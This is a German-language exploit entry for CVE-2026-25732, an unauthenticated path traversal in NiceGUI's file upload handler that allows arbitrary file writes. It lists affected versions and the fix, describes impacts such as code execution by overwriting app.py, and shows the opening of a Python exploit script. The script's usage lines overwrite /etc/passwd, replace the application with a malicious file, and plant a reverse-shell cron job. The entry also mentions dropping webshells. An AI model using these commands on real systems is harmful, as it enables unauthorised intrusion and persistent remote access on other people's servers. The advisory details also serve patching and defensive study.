
Exploit für CVE-2026-25732, eine Path-Traversal-Schwachstelle in NiceGUIs FileUpload, die ein nicht authentifiziertes Schreiben beliebiger Dateien ermöglicht. Enthält Anwendungsbeispiele zum Überschreiben von Anwendungsdateien oder zum Ablegen von Webshells.
Autor: Mohammed Idrees Banyamer
Kontakt:
Exploit-Titel: NiceGUI Path Traversal in FileUpload, der zu beliebigem Datei-Schreibzugriff führt
Datum: 2025-06-06
Getestet auf: NiceGUI ≤ 3.6.1 (Python 3.8 – 3.12 auf Linux / Windows)
Behoben in: NiceGUI 3.7.0
CVE: CVE-2026-25732
Schwachstelle: CWE-22 — Unzureichende Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis
Angriffsvektor: Netzwerk
Erforderliche Privilegien: Keine
Benutzerinteraktion: Keine
Plattform: Webanwendung (NiceGUI / Python)
NiceGUI-Versionen ≤ 3.6.1 bereinigen das name-Feld hochgeladener Dateien im ui.upload() / FileUpload-Handler nicht ordnungsgemäß, wenn der Anwendungsentwickler den ursprünglichen Dateinamen im Speicherpfad ohne zusätzliche Bereinigung verwendet.
Dies ermöglicht einem nicht authentifizierten Angreifer, beliebige Dateien überall dort zu schreiben, wo der NiceGUI-Prozess Schreibrechte besitzt, und zwar mithilfe von Path-Traversal-Sequenzen (../, absolute Pfade usw.).
Häufige Beispiele für Auswirkungen:
app.py / main.py → Codeausführung beim Neuladen/Neustart der Anwendung/etc/, in Home-Verzeichnisse, .ssh/, Konfigurationsordner usw.#!/usr/bin/env python3
"""
CVE-2026-25732 — NiceGUI beliebiger Datei-Schreibzugriff (Path Traversal)
Nutzt unsanitisiertes FileUpload.name aus, wenn die App es im Speicherpfad verwendet.
Verwendung:
python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
python exploit_cve_2026_25732.py http://target:8080 "nicegui/../../../etc/crontab" revshell-cron
"""